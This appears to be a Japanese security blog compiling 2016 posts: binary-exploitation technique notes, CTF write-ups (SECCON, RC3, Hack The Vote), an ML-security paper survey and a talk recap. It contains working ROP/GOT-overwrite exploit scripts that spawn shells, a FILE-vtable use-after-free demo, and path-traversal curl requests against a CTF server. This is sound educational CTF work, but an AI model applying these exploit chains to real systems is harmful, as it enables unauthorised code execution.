Exploit系複合テクニックのメモ
この記事は「CTF Advent Calendar 2016」17日目の記事です。
ちょいちょい見かけてはいるのだが、実戦でよく忘れてしまうので応用の効きそうなものをまとめておく。
ROPからのGOT overwrite
単純なROP問題の場合、GOTに置かれた関数アドレスを読み出した後offsetからsystem関数のアドレスを計算し、それを用いてsystem("/bin/sh")を呼ぶという流れになる。
最後の部分はStack pivotでやってもよいのだが、Full-RELROでない場合、すなわちGOTの書き換えができる場合はGOT overwriteしてPLT経由で呼んだほうが楽である。
x86でROPするだけで200点取ることができた、古きよき時代のropasaurusrex (PlaidCTF 2013)でやると次のようになる。
from minipwn import *
s = connect_process(['./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d'])
"""
0804830c <write@plt>:
804830c: ff 25 14 96 04 08 jmp DWORD PTR ds:0x8049614
8048312: 68 08 00 00 00 push 0x8
8048317: e9 d0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10>
0804832c <read@plt>:
804832c: ff 25 1c 96 04 08 jmp DWORD PTR ds:0x804961c
8048332: 68 18 00 00 00 push 0x18
8048337: e9 b0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10>
80484b6: 5e pop esi
80484b7: 5f pop edi
80484b8: 5d pop ebp
80484b9: c3 ret
"""
plt_write = 0x804830c
plt_read = 0x804832c
got_write = 0x8049614
addr_pop3 = 0x80484b6
buf = 'A' * 140
buf += p32(plt_write) + p32(addr_pop3) + p32(1) + p32(got_write) + p32(4)
buf += p32(plt_read) + p32(addr_pop3) + p32(0) + p32(got_write) + p32(12)
buf += p32(plt_write) + 'AAAA' + p32(got_write+4)
sendline(s, buf)
"""
$ ldd ./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d
linux-gate.so.1 => (0xf77b1000)
libc.so.6 => /lib32/libc.so.6 (0xf75ef000)
/lib/ld-linux.so.2 (0x56637000)
$ nm -D /lib32/libc.so.6 | grep -e write -e system
0003a920 W system
000d4490 W write
"""
data = s.recv(8192)
addr_write = u32(data)
print "[+] addr_write = %x" % addr_write
addr_system = addr_write - 0xd4490 + 0x3a920
s.sendall(p32(addr_system) + '/bin/sh\x00')
interact(s)
$ python solve.py [+] addr_write = f7679490 id uid=1000(user) gid=1000(user) groups=1000(user)
Stack pivotしなくてよいので簡単になった。
x64の場合は引数をrdiレジスタに入れる必要があるが、libc_csu_init gadgetや適当なPLTをcallしている箇所を使うことでなんとでもなる。
GOT overwriteからのROP
逆に、GOT overwriteや関数ポインタ書き換えからpop-pop-ret gadgetなどに飛ばすことで、スタック上のバッファに置いたROP chainに繋げるという手法も知られている。
スタック上のバッファに読み込む箇所（read(0, local_buf, 1000)など）に飛ばしてリターンアドレスを書き換え、無理やりROPに持っていくという手法もある。
多くの場合stack canaryのチェックがあるが、前もって__stack_chk_failのGOTをret gadgetなどに書き換えておけば通過できる。
GOT overwriteからのFormat String Attack
任意の入力を与えることができるatoi(buf)のような関数のGOTをprintf系関数に書き換えることで、無理やりFormat String Attackに持っていくことができる。
これにより、スタック上に置かれたlibcやスタック、ヒープのアドレスをリークして、ASLRを回避できる。
stdin/stdout/stderr書き換えからのEIP奪取
ソースコード中に次のような処理が存在する場合、実行ファイルのbss上にstdin/stdout/stderrへのポインタが置かれる。
$ cat test.c
#include <stdio.h>
int main()
{
char buf[100];
fprintf(stderr, "stdin=%p, stdout=%p, stderr=%p\n", &stdin, &stdout, &stderr);
fgets(buf, 100, stdin);
fputs(buf, stdout);
return 0;
}
$ gcc test.c -o test
$ ./test
stdin=0x601070, stdout=0x601060, stderr=0x601080
AAAA
AAAA
これらのポインタは_IO_FILE_plus構造体を指しており、この構造体は関数テーブルへのポインタ（vtable）を持っている。 したがって、bss上のポインタを適当なバッファを指すように書き換え、fgets等が呼ばれる際に参照される関数テーブル内のポインタをコントロールすれば、任意のアドレスに飛ばすことができる。
- File Stream Pointer Overflows Paper.
- abusing the FILE structure « codeblog
- katagaitai CTF勉強会 #2 pwnables編 - PlaidCTF 2013 pwn200 ropasaurusrex (pp.203-204)
なお、fopen関数が返すポインタも実体は_IO_FILE_plus構造体なので、use-after-freeと組み合わせることで同様にEIP奪取ができる。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void wontcall()
{
system("false");
}
int main()
{
char *p1 = malloc(0x220);
printf("p1 = %p\n", p1);
free(p1);
FILE *fp = fopen("/etc/passwd", "r");
printf("fp = %p\n", fp);
void *got_system = 0x601028;
memset(p1, 'A', 0xd8);
strcpy(p1, "\x01\x80;/bin/sh"); /* _IO_FILE_plus.file._flags & _IO_USER_LOCK ！= 0 */
*(void **)(p1+0xd8) = got_system-0x10; /* _IO_FILE_plus.vtable->__finish == got_system */
fclose(fp);
return 0;
}
$ gcc uaf-fopen.c -o uaf-fopen
uaf-fopen.c: In function ‘main’:
uaf-fopen.c:19:24: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
void *got_system = 0x601028;
^
$ ldd ./uaf-fopen
linux-vdso.so.1 => (0x00007ffeff303000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f792b872000)
/lib64/ld-linux-x86-64.so.2 (0x000055f30352e000)
$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
(snip)
$ ./uaf-fopen
p1 = 0x1234010
fp = 0x1234010
sh: 1: �: not found
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$
Segmentation fault (core dumped)
なお、glibc 2.24以降ではチェックが加えられているらしい。
関連リンク
機械学習と情報セキュリティ2016
この記事は「情報セキュリティ系論文紹介 Advent Calendar 2016」14日目の記事です。
近年、ディープラーニングと呼ばれる機械学習手法の進展もあいまって、ディープラーニングではない機械学習もそこそこの注目を集めている。 ここでは、2016年に公表された機械学習系の情報セキュリティ論文について、気になったものをまとめてみる。
discovRE: Efficient Cross-Architecture Identification of Bugs in Binary Code (NDSS 2016)
命令数等の複数の数値指標を用いてk-Nearest Neighborによるフィルタリングを行った後、Maximum common subgraph（MCS）によるControl Flow Graphの類似度比較を行うことで、バイナリ（ファームウェア）から既知の脆弱性を含む関数をクロスアーキテクチャで同定する。 既存手法の1000倍オーダーの速度が出るとのことだが、前処理がやや煩雑なのと、脆弱性が修正される前と後の違いを見分けられるかについて（間接的に）次のようにしか触れられていないのが気になる。
However, the vast majority of bugs can be pinpointed to one or a list of specific functions.
CFGの類似度比較をもとにしているため、if文の追加等によるグラフの違いも最終的な結果に表れるはずだが、それが区別可能であるかについては触れられていない。 とはいえ、k-NNでのフィルタリングに用いる指標の選択やハイパーパラメータの設定について詳細な分析が行われており、参考になる。
Automatically Evading Classifiers: A Case Study on PDF Malware Classifiers (NDSS 2016)
セキュリティ分野における機械学習が他分野と異なる点として攻撃者によるバイパスを考慮しないといけないことを指摘した上で、遺伝的アルゴリズムによりbenignなPDFの特徴を取り入れることで悪性PDF分類器をバイパスするPDFを自動生成する。 結果、PDFrate [ACSAC’12]、Hidost [NDSS’13] を100%バイパスするPDFを自動生成できた。 また、対HidostなPDFである程度PDFrateもバイパスできるが、Gmailの分類器はバイパスできなかった。 そこで、Gmailの分類器をバイパスするルーチンを追加することで、47.1%の確率でバイパスできるPDFを自動生成できた。
攻撃者も本気を出してくるセキュリティ分野では、robustな分類器を作るのも難しいねという話。
Fast, Lean, and Accurate: Modeling Password Guessability Using Neural Networks (USENIX Security 2016)
わぁいニューラルネット あかりニューラルネット大好き（参考）。
Recurrent Neural Network（RNN）でパスワードの推測しやすさを計算し、リアルタイムでユーザにフィードバックすることを考える。 流出したパスワードのデータセットを教師データ、既存研究のパスワードデータセットと000webhostからの流出パスワードをテストデータとし、モンテカルロ法を使って評価したところ、次のようなことがわかった。
- 1クラス8文字のネットワーク→3クラス12文字のネットワークのような転移学習をすることで精度が上がる
- 自然言語データを加えてもそれほど精度は上がらない
- モデルサイズを大きくすることによる精度向上は条件による
マルコフモデル、PCFG、Hashcat、John the Ripperとの比較において、RNNはどれよりも性能がよい。 また、圧縮や事前計算を行うことでモデルサイズ850KB、計算時間17ms程度にでき、精度を落とすことなくブラウザ上でのリアルタイムフィードバックに適用できる。
コードがGithubで公開されているが、リポジトリ名が「neural_network_cracking」なのが趣深い。
Stealing Machine Learning Models via Prediction APIs (USENIX Security 2016)
BigMLやAmazon Machine LearningのようなMachine Learning as a Service (MLaaS)というものが世の中に出てきているが、有償サービスであるために最終的な分類結果以外にもconfidence値などの付加情報が返ってくる。 これを悪用することで、手塩にかけて学習させたモデルパラメータが第三者にコピーされる可能性がある。 そのようなModel-Extraction Attacksに関する既存研究のまとめ。 さらに、confidence値を隠せばよいというものでもなく、機械学習で機械学習サービスのモデルパラメータを推定すること自体も可能であることを指摘している。
Black Hat USAみたいな内容だがUSENIX Securityなのがおもしろい。
Distillation as a Defense to Adversarial Perturbations against Deep Neural Networks (IEEE Security and Privacy 2016)
Deep Neural Network（DNN）に対して、攻撃者が繰り返し入力を調整することによりDNNが誤分類する入力を作り出すことができるAdversarial Sample Craftingという問題が知られている。 このような問題への防御策として、DNNのモデルサイズの削減に用いられるDistillationという手法が有効である。 具体的には、出力層のSoftmaxのパラメータT（温度と呼ばれる）の大きなネットワークで分類した後、その結果を追加情報としてT=1のDNNで分類するようにする。 T=40程度でDistillationすることで、Adversarial Sampleによる誤分類を大きく減らすことができる。
日本でも昨年友利奈緒判定botの誤認識パターンをめぐる戦いというのがあったが、こういう人力調整にも有効なのかが気になる。
SandPrint: Fingerprinting Malware Sandboxes to Provide Intelligence for Sandbox Evasion (RAID 2016)
実ユーザのマシンとサンドボックスを識別する汎用的な分類器は作れるか？という問いに対して、作れるということを示した論文。 サンドボックスの環境情報（fingerprint）をHTTPで抜き取るプログラムSandPrintを開発し、実ユーザの環境情報とそれらを分類する分類器をガウシアンカーネルを用いた非線形SVMで作る。 結果、メモリに関する特徴量だけでも98.06%の精度が出た。 さらに、すべての特徴量を用いた場合はfalse positiveもfalse negativeもない100%の精度を達成できる。 また、三つの商用サンドボックスに対しても同様のアプローチが有効であることを確認した。
環境情報をもとにしたサンドボックス検知自体はそれなりに知られているが、実際にそれらを収集して汎用的に使える指標を分析したという点でおもしろい。
(Semi)-Supervised Machine Learning Approaches for Network Security in High-Dimensional Network Data (ACM CCS 2016 Poster)
高次元の特徴量を持つネットワークデータからDDoSやHTTP flashcrowds等の異常パケットを検知する半教師あり学習手法として、k-Meansクラスタリングとk-Nearest Neighborによる多数決を組み合わせたk-CDA (k-means Clustering-based Detector of Attacks) を提案。 k-MeansのKは訓練データのサンプルサイズの1000分の1とし、k-NNのkはKの3分の1とする。 完全な教師あり学習であるC4.5決定木、Random Forest、SVM、ナイーブベイズ、多層パーセプトロンと比較した結果、ラベル付き教師データの5%のみしか用いていないにも関わらず、低false positiveの領域でC4.5決定木に劣らない精度が出た。 あまり精度の出なかったDDoSパケット検知については、相関ベースのBest-first searchで特徴量を245個から22個に絞ることで精度が向上した。
へー、という感じ。
Static ROP Chain Detection Based on Hidden Markov Model Considering ROP Chain Integrity (ACM CCS 2016 Poster)
隠れマルコフモデルで文書型マルウェアに含まれるROP chainを検知する手法の提案。 ROP chainがうまく繋がっているかをチェックすることで、false positiveを減らす工夫をしている。 評価の結果、高スループットでfalse negativeゼロ、低false positiveな分類ができた。
自分は研究者ではないのでabstructしか読めていない。
追記
ACM CCSとそのワークショップの論文は1年間限定で読めるということを教えてもらった。
32 bit環境でのROP chainについて、バイト単位での遷移過程を次の図のようにモデリングする。
ここで、Dは文書、Aはアドレス、Cは定数、JはROP中のjunkを表す。 また、Aについてはライブラリに含まれるROP gadget候補を全列挙して確率モデルに組み込む。 さらに、ROP chainがうまく繋がっているか（ROP Chain Integrity）のチェックを行う。 具体的には、各アドレス候補に飛んだ先でスタックポインタが何ワードずれるかをシンボリック実行を用いて計算しておき、各アドレスに飛んだ後のスタックポインタがちゃんと次のアドレス（上図のA1に対応する箇所）を指しているかをチェックする。 結果、false negativeゼロ、false positive 3%の精度で検知できた。 また、1ファイル2.5秒の処理速度が出た。
文書をバイト列とみなし、隠れマルコフモデルでの尤度比をみるという正統派アプローチを試みていて興味深い。
AdversariaLib: An Open-source Library for the Security Evaluation of Machine Learning Algorithms Under Attack (arXiv preprint)
勾配降下法で機械学習が誤分類する入力を生成するOSSライブラリの紹介。 バックエンドにscikit-learnとFANNを用いている。 論文中では、きれいな「3」の画像から3と分類されない「3」のような画像を作り出す例が紹介されている。 また、前述の論文にもあったように、元の分類器に近い分類をする新たな分類器を作り出せることにも触れられている。
光の機械学習に対抗する闇の機械学習ライブラリ（検証用）といった感じ。
Applied Machine Learning for Data Exfil and Other Fun Topics (Black Hat USA 2016)
正確には論文ではないが、機械学習を売りにしたエンドポイントセキュリティ製品を開発しているCylance社によるいくつかのツールの発表。
- NMAP Clustering
- Botnet Panel Identification
- Obfuscating Data with Markov Chains
- 適当な文章からマルコフチェーンを作り、数値を遷移確率の順位に対応させてエンコードすることでデータを難読化する。
全体的にたいした話ではないのだが、有償製品がどういったことをやっているのかの参考にはなる。
所感
資料へのリンクがないため取り上げなかったが、AIとセキュリティに関するワークショップとしてAISec 2016というものも存在する。 また、DNNモデルのAdversarial Sample Craftingに対するrobust性を検証するDeep-pwning (DEF CON 24)というフレームワークも公開されている。
防御手法への応用だけではなく、バイパス手法や機械学習サービスに対する攻撃についても研究されているあたり、いかにもセキュリティらしい。
関連リンク
- Presentation of discovRE – woumn
- SandPrint: Fingerprinting Malware Sandboxes to Provide Intelligence for Sandbox Evasionの紹介 - Twitterに書ききれないこと
- Adversarial machine learning - Wikipedia
- Adversarial exampleについて - sotetsuk's tech blog
- Adversarial Examples を試してみた - classic style
- 顔認識を失敗させる技術を失敗させるハッカソンに参加した - kivantium活動日記
- TensorFlowで顔識別モデルに最適化した入力画像を生成する - すぎゃーんメモ
- SoK: Applying Machine Learning in Security - A Survey (arXiv preprint)
SECCON 2016 Online CTF 供養（Writeup）
SECCON 2016 Online CTFにチームで参加。 ほぼExploitジャンルのみを見ていたが、結局一番簡単な問題しか解けなかった。
cheer msg (Exploit 100)
アセンブリコードを見ると、Message Lengthの値に応じてespが引き上げられている（alloca相当の処理らしい）。
080485ca <main>: 80485ca: 8d 4c 24 04 lea ecx,[esp+0x4] 80485ce: 83 e4 f0 and esp,0xfffffff0 ... 80485e7: e8 21 01 00 00 call 804870d <getint> 80485ec: 89 45 f0 mov DWORD PTR [ebp-0x10],eax 80485ef: 8b 45 f0 mov eax,DWORD PTR [ebp-0x10] 80485f2: 8d 50 0f lea edx,[eax+0xf] 80485f5: b8 10 00 00 00 mov eax,0x10 80485fa: 83 e8 01 sub eax,0x1 80485fd: 01 d0 add eax,edx 80485ff: b9 10 00 00 00 mov ecx,0x10 8048604: ba 00 00 00 00 mov edx,0x0 8048609: f7 f1 div ecx 804860b: 6b c0 10 imul eax,eax,0x10 804860e: 29 c4 sub esp,eax
しかし、Message Lengthに負数チェックがされていないため、-150を入れるとmain関数からのリターン時に任意のアドレスにジャンプできる。
$ gdb ./cheer_msg Reading symbols from ./cheer_msg...(no debugging symbols found)...done. (gdb) r Starting program: /home/user/tmp/minipwn/cheer_msg Hello, I'm Nao. Give me your cheering messages :) Message Length >> -150 Message >> Oops! I forgot to ask your name... Can you tell me your name? Name >> AAAA Thank you AAAA! Message : Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () 1: x/i $pc => 0x41414141: <error: Cannot access memory at address 0x41414141> (gdb) quit
ROPを用いてprintf関数でGOT上のlibc関数アドレスをリークした後、getnline関数でstageを読み込んでstack pivotを行い、system関数を呼ぶとシェルが起動する。
ただし、リモートサーバではASCII-armorが有効だったようでlibc_start_mainの下位1バイトが00なため、リーク時に1バイトずらして書き出す必要があった。
from minipwn import *
s = connect_process(['./cheer_msg'])
#s = socket.create_connection(('cheermsg.pwn.seccon.jp', 30527))
print s.recv(8192)
sendline(s, '-150')
print s.recv(8192)
plt_printf = 0x8048430
got_libc_start = 0x804a028
addr_pop_ebp = 0x80487af
addr_pop2_ebp = 0x80487ad
addr_getnline = 0x80486bd
addr_bss = 0x0804a800
addr_leave = 0x8048518
# the offset of libc_start_main of the remote libc is 0x00019a00
buf = p32(plt_printf) + p32(addr_pop_ebp) + p32(got_libc_start)
#buf = p32(plt_printf) + p32(addr_pop_ebp) + p32(got_libc_start+1)
buf += p32(addr_getnline) + p32(addr_pop2_ebp) + p32(addr_bss) + p32(100)
buf += p32(addr_bss-4)
buf += p32(addr_leave)
sendline(s, buf)
print recvuntil(s, 'Message : \n')
data = s.recv(8192)
addr_libc_start = u32(data[:4])
#addr_libc_start = u32('\x00'+data[:3])
print "[+] addr_libc_start = %x" % addr_libc_start
addr_system = addr_libc_start - 0x00018540 + 0x0003a920
#addr_system = addr_libc_start - 0x00019a00 + 0x00040310
buf = p32(addr_system) + 'BBBB' + p32(addr_bss+12)
buf += '/bin/sh\x00'
sendline(s, buf)
interact(s)
$ python solve.py
Hello, I'm Nao.
Give me your cheering messages :)
Message Length >>
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?
Name >>
Thank you 0�)��!
Message :
[+] addr_libc_start = f7564a00
id
uid=10168 gid=1001(cheer_msg) groups=1001(cheer_msg)
ls
cheer_msg
flag.txt
run.sh
cat flag.txt
SECCON{N40.T_15_ju571c3}
あとから考えると、printfなど他の関数のGOTをリークさせたほうが楽だった。
所感
他に解きたかった問題は以下。
- jmper (Exploit 300)
- checker (Exploit 300)
- tinypad (Exploit 300)
- chat (Exploit 500)
「Why is Security Management So Hard?」というタイトルで発表した
「その他、社内セキュリティで語りたいことがあれば」という形でLT登壇者が募集されていたので、セキュリティマネジメントはなぜHardなのかというテーマで自分が考えていることについて話した。
もやもやと考えていることをまとめたため、若干まとまりのない内容になってしまい、プレゼンテーションでも話の要点を絞り切れていなかったことなど、個人的に反省点が多かった。 あらためて考えるとHardと感じるかどうかも人それぞれであるし、英語の表現もいろいろおかしい気がする。 ただ、そのような中でも何かしら感じてもらえる人がいたので、少し安心した。
最初に挙げた計算は単純で雑なものではあるが、一人一人がミスをする確率は小さくても、多くの人が集まればその中で何かしら起こる確率は小さくない。 メンテナンスに関すること、インシデントの詳細な背景までは他者に見えづらいこと、隠しておかなければならないこともある。 わかっている人にとってはあらためて言うような話ではないのだと思うが、過去の自分がそこまでわかっていなかったということもあるので、Hardに感じる背景にあるものが何かについては一度整理しておきたかったのだった。
質疑応答の中では、ストレス耐性、「筋肉」に関する話や、求められているセキュリティ人材とは何か、モチベーションをどう維持するかという話にも発展した。 意見交換ができたことはよいことだったように思う。
ありがとうございました。
Multi-prime RSAを復号してみる（Hack The Vote 2016 The Best RSA）
この記事は「CTF Advent Calendar 2016」9日目の記事です。
RSA暗号は二つの素数p, qから計算されるn=p*qを公開鍵として暗号化を行うものであるが、これを一般化したものとしてMulti-prime RSAがある。 ここでは、Multi-prime RSAの概要を説明し、これを題材にした問題を紹介する。
Multi-prime RSA
RSA暗号は、二つの素数p, qとある条件を満たす整数eを用いて、次のような式をもとに計算される。
n = p * q phi(n) = (p-1) * (q-1) d = e^(-1) mod phi(n) c = m^e mod n m = c^d mod n
mは平文、cは暗号文を表し、公開鍵はnおよびe、秘密鍵はdである。 また、phi(n)はオイラーのトーシェント関数と呼ばれる関数であり、nと互いに素となるn以下の自然数の個数を表す。 上の場合、p, qが素数であることから、その値は(p-1)*(q-1)となる。
ここで、nを任意の自然数に一般化し、互いに異なる素数p1, p2, …, pmと正の整数k1, k2, …, kmを用いて次のように表される場合を考える。
n = p1^k1 * p2*k2 * … * pm^km
このような場合でも、オイラーのトーシェント関数の定義に基づきphi(n)を計算することにより、上と同様の関係が成り立つ。 これは（特にk1, k2, …, kmがすべて1の場合を指して）Multi-prime RSAと呼ばれる。 このとき、phi(n)の具体的な値は次のようになる。
phi(n) = phi(p1^k1) * phi(p2*k2) * … * phi(pm^km)
= (p1^(k1-1) * (p1-1)) * (p2^(k2-1) * (p2-1)) * … * (pm^(km-1) * (pm-1))
RSA同様、Multi-prime RSAの安全性も素因数分解の困難さに基づいている。 したがって、nが現実的な時間で素因数分解できる場合、Multi-prime RSAは破られる。
Hack The Vote 2016 The Best RSA (Crypto 250)
この問題では、e、n、cの三つの数字が与えられる。 nは524283ビットの非常に大きな値であるが、下位の桁を見ると5で割り切れることがわかる。
$ wget "https://raw.githubusercontent.com/ctfs/write-ups-2016/master/hack-the-vote-ctf-2016/crypto/the-best-rsa-250/the-best-rsa.txt" $ mv the-best-rsa.txt the_best_rsa.py $ python Python 2.7.12 (default, Nov 19 2016, 06:48:10) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> from the_best_rsa import * >>> len(bin(n))-2 524283 >>> n % 1000 875L
実際にnを素因数分解してみると、次のように素因数分解することができる。
# factor.py
from the_best_rsa import *
from collections import Counter
c = Counter()
i = 3
while True:
while i*i <= n:
if n % i == 0:
c[i] += 1
n = n // i
break
i += 2
else:
c[n] += 1
break
divisors = c.items()
print divisors
$ python factor.py [(3, 1545), (5, 1650), (7, 1581), (137, 1547), (11, 1588), (13, 1595), (17, 1596), (19, 1553), (149, 1572), (23, 1579), (29, 1549), (31, 1613), (163, 1589), (37, 1594), (167, 1578), (41, 1524), (43, 1538), (173, 1617), (47, 1571), (229, 1610), (179, 1556), (53, 1635), (59, 1556), (151, 1549), (61, 1605), (181, 1582), (193, 1549), (67, 1606), (197, 1520), (71, 1589), (73, 1571), (241, 1564), (79, 1548), (83, 1630), (139, 1638), (89, 1535), (199, 1574), (223, 1610), (97, 1456), (227, 1600), (131, 1540), (101, 1514), (103, 1583), (233, 1564), (107, 1591), (109, 1529), (239, 1556), (157, 1600), (113, 1601), (211, 1544), (251, 1493), (191, 1564), (127, 1565)]
ここで、それぞれのタプルは上の式における (pi, ki) (i=1,…,m) を表している。
この結果と上に示した定義から直接phi(n)およびdを求めることもできるが、dはphi(n)と同じ程度に大きな値となるため復号時のd乗の計算に非常に時間がかかる。 そこで、RSA同様に中国の剰余定理を用いて復号を高速化することを考える。 中国の剰余定理は剰余の計算を法の因数ごとに分解できるという定理であり、Multi-prime RSAの場合もphi(n)がphi(pi^ki)の積で表されることからRSAと同様の計算により適用することができる。 具体的には、ni=pi^kiそれぞれについてphi(ni)、di、miを順に求め、得られたniとmiの組に中国の剰余定理を適用することで解を得る。
# solve.py
from the_best_rsa import *
import gmpy
divisors = [(3, 1545), (5, 1650), (7, 1581), (137, 1547), (11, 1588), (13, 1595), (17, 1596), (19, 1553), (149, 1572), (23, 1579), (29, 1549), (31, 1613), (163, 1589), (37, 1594), (167, 1578), (41, 1524), (43, 1538), (173, 1617), (47, 1571), (229, 1610), (179, 1556), (53, 1635), (59, 1556), (151, 1549), (61, 1605), (181, 1582), (193, 1549), (67, 1606), (197, 1520), (71, 1589), (73, 1571), (241, 1564), (79, 1548), (83, 1630), (139, 1638), (89, 1535), (199, 1574), (223, 1610), (97, 1456), (227, 1600), (131, 1540), (101, 1514), (103, 1583), (233, 1564), (107, 1591), (109, 1529), (239, 1556), (157, 1600), (113, 1601), (211, 1544), (251, 1493), (191, 1564), (127, 1565)]
# https://en.wikipedia.org/wiki/Euler%27s_totient_function
n_ary = []
a_ary = []
for p, k in divisors:
pk = p ** k
phi = pk * (p-1)/p
d = gmpy.invert(e, phi)
mk = pow(c, d, pk)
n_ary.append(pk)
a_ary.append(mk)
# http://rosettacode.org/wiki/Chinese_remainder_theorem#Python
def chinese_remainder(n, a):
sum = 0
prod = reduce(lambda a, b: a*b, n)
for n_i, a_i in zip(n, a):
p = prod / n_i
sum += a_i * gmpy.invert(p, n_i) * p
return sum % prod
m = chinese_remainder(n_ary, a_ary)
m = "%x" % m
print m.decode('hex')
平文をファイルに書き出し、fileコマンドで調べるとGIF画像であることがわかる。
$ python solve.py >result.bin $ file result.bin result.bin: GIF image data, version 89a, 512 x 316 $ mv result.bin result.gif
関連リンク
RC3 CTF 2016 供養（Writeup）
RC3 CTF 2016に参加。2940ptで54位。
What's your virus? (Trivia 20)
ILOVEYOU
Horse from Tinbucktu (Trivia 30)
Zeus
Love Bomb (Trivia 40)
Stuxnet
Infringing memes (Trivia 50)
PIPA
Logmein (Reversing 100)
よくあるタイプのcrackme。angrで解いた。
import angr
p = angr.Project('./logmein', load_options={'auto_load_libs': False})
s = p.factory.entry_state()
initial_path = p.factory.path(s)
pg = p.factory.path_group(initial_path)
e = pg.explore(find=0x4007f0, avoid=0x4007c0)
if len(e.found) > 0:
s = e.found[0].state
print "%r" % s.posix.dumps(0)
# python solve.py 'RC3-2016-XORISGUD\x00\x80\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01' # ./logmein Welcome to the RC3 secure password guesser. To continue, you must enter the correct password. Enter your guess: RC3-2016-XORISGUD You entered the correct password! Great job!
Who's a good boy? (Web 100)
トップページで読み込まれているCSSの最後にflagがある。
/*here's a flag :)*/ flag:RC3-2016-CanineSS
Bork Bork (Web 300)
次のようなリクエストを投げるとcatコマンドのエラー出力が出てくる。
$ curl -v -d 'bork=' https://ctf.rc3.club:3100/bork
(snip)
< HTTP/1.0 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 367
< Server: Werkzeug/0.11.11 Python/2.7.12
< Date: Sun, 20 Nov 2016 16:32:48 GMT
<
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" href="/static/bork.css">
<link rel="shortcut icon" href="/static/favicon.ico">
</head>
<body>
<h1>HERE'S YOUR BORK!!!!</h1>
<iframe width="854" height="480" src="cat: borks/: Is a directory?autoplay=1&loop=1" frameborder="0"></iframe>
</body>
* STATE: PERFORM => DONE handle 0x6000579b0; line 1955 (connection #0)
* multi_done
* Closing connection 0
* The cache now contains 0 members
* TLSv1.2 (OUT), TLS alert, Client hello (1):
</html>
ServerヘッダからPythonのHTTPサーバWerkzeugが動いていることがわかるので、スクリプト名を推測してソースコードを表示させてみる。
$ curl -d 'bork=../bork.py' https://ctf.rc3.club:3100/bork
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" href="/static/bork.css">
<link rel="shortcut icon" href="/static/favicon.ico">
</head>
<body>
<h1>HERE'S YOUR BORK!!!!</h1>
<iframe width="854" height="480" src="from flask import Flask, render_template, request, send_from_directory
import os
import commands
import subprocess as sub
app = Flask(__name__)
#Select your bork
@app.route('/', methods=['GET'])
def index():
return render_template("index.html")
@app.route('/favicon.ico', methods=['GET'])
def favicon():
return send_from_directory(os.path.join(app.root_path, 'static'),
'favicon.ico')
@app.route('/bork', methods=['POST'])
def bork():
filename = request.form["bork"]
print '"' + filename + '"'
#had to remove / and .. because without that you can't get ../bork.txt
badchars = [';', '>', '<', '|', '$', '`', '(', ')', "mv", "rm", "cp", "python", "perl", "ruby", "bash", "zsh", '~', '*', '-']
for bad in badchars:
if bad in filename:
print "found bad character"
return render_template("sad.html")
bork = commands.getstatusoutput('cat borks/' + filename)
#so subprocess errors for some reason? literally ran the same script which is in /tmp/cmd.py.
#that script works, but when run in flask it doesn't work? not sure why.
#next time just use perl or php. they have great direct command line access which makes for
#super easy command injection
#cmdList = ['bin/sh', '-c', 'cat borks/' + filename]
#p = sub.Popen(cmdList, stdout=sub.PIPE, stderr=sub.PIPE)
#bork, errors = p.communicate()
#should probably check errors
#return render_template("bork.html", bork=bork)
return render_template("bork.html", bork=bork[1])
if __name__ == "__main__":
try:
app.run(host='0.0.0.0', port='9000')
except Exception as e:
print "Exception:"
print e?autoplay=1&loop=1" frameborder="0"></iframe>
</body>
</html>
コメントを参考にbork.txtを表示させてみるとflagが得られた。
$ curl -d 'bork=../bork.txt' https://ctf.rc3.club:3100/bork
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" href="/static/bork.css">
<link rel="shortcut icon" href="/static/favicon.ico">
</head>
<body>
<h1>HERE'S YOUR BORK!!!!</h1>
<iframe width="854" height="480" src="RC3-2016-L057d0g3?autoplay=1&loop=1" frameborder="0"></iframe>
</body>
</html>
Salad (Crypto 100)
シーザー暗号。
import string
c = '7sj-ighm-742q3w4t'
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in xrange(len(chars)):
table = string.maketrans(chars, chars[i:] + chars[:i])
print c.translate(table)
$ python test.py 7sj-ighm-742q3w4t 8tk-jhin-853r4x5u 9ul-kijo-964s5y6v avm-ljkp-a75t6z7w (snip) Rc3-2016-ROMaNgOd (snip)
Calculus (Crypto 200)
微積分の書かれたGoogle Documentが与えられる。計算結果とHintから推測した。
200: There are no symbols in the flag
a n^2 t^3 i^4 2*d^5 e^6 r^7+r^5+r^4+r+1 v^8+v^7+v^4+v^2+9*v RC3-2016-antiderv
Cats (Crypto 300)
gif画像の各フレームで表示されている猫の数を数え、アルファベットに置き換えてみると次のようになる。
nums = [14, 9, 1, 20, 23, 15, 5, 13]
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
s = ''
for n in nums:
s += chars[n-1]
print s
$ python test.py NIATWOEM
先頭がMEOWとなると推測し、逆順に並び換えたものを送ると通った。
RC3-2016-MEOWTAIN
My Lil Droid (Forensics 100)
apkファイルが与えられる。build-data.propertiesにbase64っぽい文字列があり、デコードするとflagが得られる。
$ unzip youtube.apk
$ cat build-data.properties
build.target=blaze-out/intel-linux-android-4.8-libcxx-x86-opt/bin/java/com/google/android/gmscore/integ/client/1p_monolithic_raw_pre_munge_deploy.jar
build.citc.snapshot=-1
build.verifiable=1
build.client=build-secure-info\:(SrcFS)
main.class=
build.label=gmscore_v3_RC21_SDK
build.tool=Blaze, release blaze-2016.04.14-4 (mainline @119748905)
